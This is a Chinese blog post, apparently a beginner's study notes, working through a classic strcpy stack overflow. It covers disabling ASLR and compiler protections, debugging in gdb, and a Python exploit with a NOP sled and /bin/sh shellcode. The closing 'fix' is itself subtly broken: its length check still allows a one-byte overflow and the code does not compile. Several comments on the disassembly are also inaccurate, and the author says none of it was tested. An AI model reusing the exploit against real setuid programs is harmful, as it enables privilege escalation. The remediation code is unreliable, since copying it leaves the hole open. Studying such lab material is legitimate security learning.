【漏洞初探】从最基础程序入手实战栈溢出

本文详细介绍了如何分析和利用经典的栈溢出漏洞,包括环境配置、调试过程、使用shellcode攻击以及提供修复建议。作者通过实例展示了从配置、测试到修复的完整流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

整体内容是关于此博客的学习记录:【PWN】经典的栈溢出漏洞分析 - 知乎 (zhihu.com)

在此对原博主表示感谢和敬佩!膜拜大佬! 

一、环境配置 

使用的例子来源于最基础的栈溢出代码,相信这是所有初学者第一个接触到的:
这个代码的问题出现在:他没有检查用户输入长度和buf可容大小是否匹配,直接将用户塞入buf导致出现栈溢出。

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) 
{
      char buf[256];
      strcpy(buf,argv[1]);//栈溢出问题所在
      printf("Input:%s\n",buf);
      return 0;
}

由于现代操作系统对栈溢出有所警惕和防备,故要更好的理解此代码造成的危害,我们需要进行一些环境配置。

根据被引博客的步:

首先关闭虚拟机的地址随机化, 模拟最原始的情况:

echo 0 > /proc/sys/kernel/randomize_va_space

这条命令将0写入/proc/sys/kernel/randomize_va_space文件中。这个文件控制着Linux内核中的地址空间布局随机化功能,表示将此功能关闭。

使用此代码进行测试,测试地址分配是否随机:

// gcc -g stack.c -o stack
//设定一个函数获取当前函数栈帧的顶部,因为后续代码的前栈指针会指向此地址
unsigned long sp(void)
{ 
    asm("mov %rsp, %rax");
}//使用汇编指令将栈指针的值(%rsp)赋给寄存器%rax,并将%rax作为函数的返回值

int main(int argc, char **argv)
{
    unsigned long esp = sp();//接受此返回值并打印
    printf("Stack pointer (ESP : 0x%lx)\n",esp);
    return 0;
}

在关闭地址随机化后运行程序的结果应该相同。 

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
chmod +s vuln 

对于命令的解释:

首先,"gcc -g -fno-stack-protector -z execstack -o vuln vuln.c"是一个编译命令,用于将名为"vuln.c"的源代码文件编译成一个可执行文件"vuln"。这个命令使用了一些编译选项:

  • "-g"选项用于在可执行文件中包含调试信息,以便在调试时进行源代码级别的调试。
  • "-fno-stack-protector"选项用于禁用堆栈保护机制,这样在程序中就可以使用一些可能存在安全风险的堆栈操作。
  • "-z execstack"选项用于允许可执行文件的堆栈段可执行,这对于一些特定的漏洞利用技术是必需的。

接下来,"chmod +s vuln"是一个设置权限的命令。通过"+s"选项,它将可执行文件"vuln"的权限设置为具有特殊权限位"setuid"。当一个可执行文件被设置为"setuid"权限时,它将以文件所有者的身份而不是执行者的身份来运行。这通常用于特定的系统任务,以便以特权身份运行某些程序。

二、调试与汇编 

使用相关命令开始调试与反汇编:

gdb vuln
disas main

得到以下结果: 

(gdb) disassemble main
Dump of assembler code for function main:
   //准备工作:返回地址压栈
   0x08048414 <+0>: push   %ebp                     //返回地址寄存器ebp
   0x08048415 <+1>: mov    %esp,%ebp                //将值赋值给esp此时esp即是当前的基址
   
   //参数提取:将用户输入提出
   //进行栈对齐:保证esp是16的倍数
   0x08048417 <+3>:    and    $0xfffffff0,%esp         
   //分配0x110(272个字节)的空间用于存储局部变量和缓冲区:栈地址是从高地址向低地址生长,故用sub
   0x0804841a <+6>:    sub    $0x110,%esp               
   //获取函数参数:eax = argv
   0x08048420 <+12>:   mov    0xc(%ebp),%eax 
   //int为4字节,在argv数组基址+4得到[1]的地址
   0x08048423 <+15>:   add    $0x4,%eax
   //将eax的值提出赋值给他自己:eax=argv[1]的值,即获取用户输入的字符串                 
   0x08048426 <+18>:   mov    (%eax),%eax

   //此时的esp是变量开始存储的地址 ebp是返回地址 eax是用户的字符串
   //参数压栈:将参数存入栈中备用
   //将eax值存入esp+4地址:将用户输入压栈备用              
   0x08048428 <+20>:   mov    %eax,0x4(%esp)
   //计算出esp+10的地址值并写入eax:此地址用于存储buf           
   0x0804842c <+24>:   lea    0x10(%esp),%eax
   //将buf写入esp
   0x08048430 <+28>:   mov    %eax,(%esp) 


   //调用strcpy函数的过程:
   0x08048433 <+31>:   call   0x8048330 <strcpy@plt>    
   //将格式字符串"Input:%s\n"的地址存储到eax寄存器中。
   0x08048438 <+36>:   mov    $0x8048530,%eax 
   //计算esp+10=edx,          
   0x0804843d <+41>:   lea    0x10(%esp),%edx           //edx = buf
   0x08048441 <+45>:   mov    %edx,0x4(%esp)            //printf arg2
   0x08048445 <+49>:   mov    %eax,(%esp)               //printf arg1
   0x08048448 <+52>:   call   0x8048320 <printf@plt>    //call printf
   0x0804844d <+57>:   mov    $0x0,%eax                 //return value 0

   //Function Epilogue
   0x08048452 <+62>:   leave                            //mov ebp, esp; pop ebp; 
   0x08048453 <+63>:   ret                              //return
End of assembler dump.

对其进行测试:

  • gdb -q vuln:启动GDB调试器,并加载名为vuln的可执行文件进行调试。"-q"选项表示以安静模式启动GDB,不显示冗长的提示信息。

  • (gdb)r python -c 'print "A"*300'``:在GDB中运行目标程序。这里使用了反引号()来执行shell命令,即在GDB中执行python -c 'print "A"*300'`命令。该命令会生成一个长度为300的"A"字符串,并将其作为输入传递给目标程序。

  • (gdb)p/x $eip:在GDB中打印寄存器eip的十六进制值。"p"是gdb中的print命令,用于打印变量或寄存器的值。"/x"选项表示以十六进制格式打印值。eip的十六进制值。eip是存储当前指令地址的寄存器,通过打印$eip的值,可以查看当前执行到的指令地址。

通过执行该命令可以得到程序确实可以崩溃。

前置知识了解到eip/ebp都占0x4的位置,且ebp在eip上面,所以通过以下算式可以找到eip:

所以我们从汇编代码可以看出该程序一共使用了0x100(buf)+0x8(用于对齐的部分)+0x4(ebp)=268=0x10c

也就是说0x10c可以从基址地址一直到eip,为了能将eip覆盖,需要再多0x04即可。

根据博文所述,在实际操作中发现不行,需要填充NOP。
则返回地址计算:返回地址=esp+N<NOP最填充长度

三、进行攻击

针对这个思路编写的攻击程序可以是:

import struct
from subprocess import call

ret_addr = 0xbfffefb8   # 是准备替换掉eip的新地址    
              
scode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"  # 要执行的shellcode。这段shellcode的功能是执行/bin/sh,即生成一个shell。

# 地址转换函数:将RA转换为小端序的二进制格式
def conv(num):
 return struct.pack("<I",num)

# 构造一个用户输入
buf = "A" * 268  # 持平esp
buf += conv(ret_addr)  # 覆盖eip
buf += "\x90" * 100  # NOP
buf += scode #shellcode

print "Calling vulnerable program"
call(["./vuln", buf]) # 将buf传入函数进行攻击

插入的100个NOP指令(即\x90)到buf中,可能是作者在测试时找到的一个合适的值。因为插入的NOP指令数量的选择是一个经验性的决策,需要根据目标程序的具体情况进行调整。如果插入的NOP指令数量过少,可能导致shellcode无法正确执行;如果插入的NOP指令数量过多,可能会浪费空间并增加攻击的复杂性。插入NOP指令的目的是为了确保shellcode的正确执行,并且插入的数量需要根据目标程序的特定情况进行调整。

四、修复建议

在代码审计的最后,一般都要指出如何修复:

增加一个判断长度范围的函数即可:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) 
{
      char buf[256];
      unsigned int len=strlen(argv[1]);
      if(len<=256&&len>=0)
      {
        strcpy(buf,argv[1]);//栈溢出问题所在
        printf("Input:%s\n",buf);
      }
      else{printf("Valid!")}
      return 0;
}

 这就是对于这个初级栈溢出漏洞的全部学习记录,是我漏洞路上的第一个看懂的解法,还没有实际试验,如果在实验过程中还有遇到新的问题会再次补充。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值